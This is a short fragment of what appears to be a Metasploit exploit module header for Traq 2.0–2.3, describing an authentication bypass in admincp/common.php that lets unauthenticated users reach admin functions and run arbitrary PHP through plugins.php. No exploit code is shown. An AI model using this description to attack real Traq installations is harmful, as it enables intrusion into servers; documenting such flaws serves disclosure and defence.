'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
This function is called in each script located into /admicp/ directory to
make sure the user has admin rights, but this is a broken authorization
schema due to the header() function doesn't stop the execution flow. This
can be exploited by malicious users to execute admin functionality resulting
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
functionality.
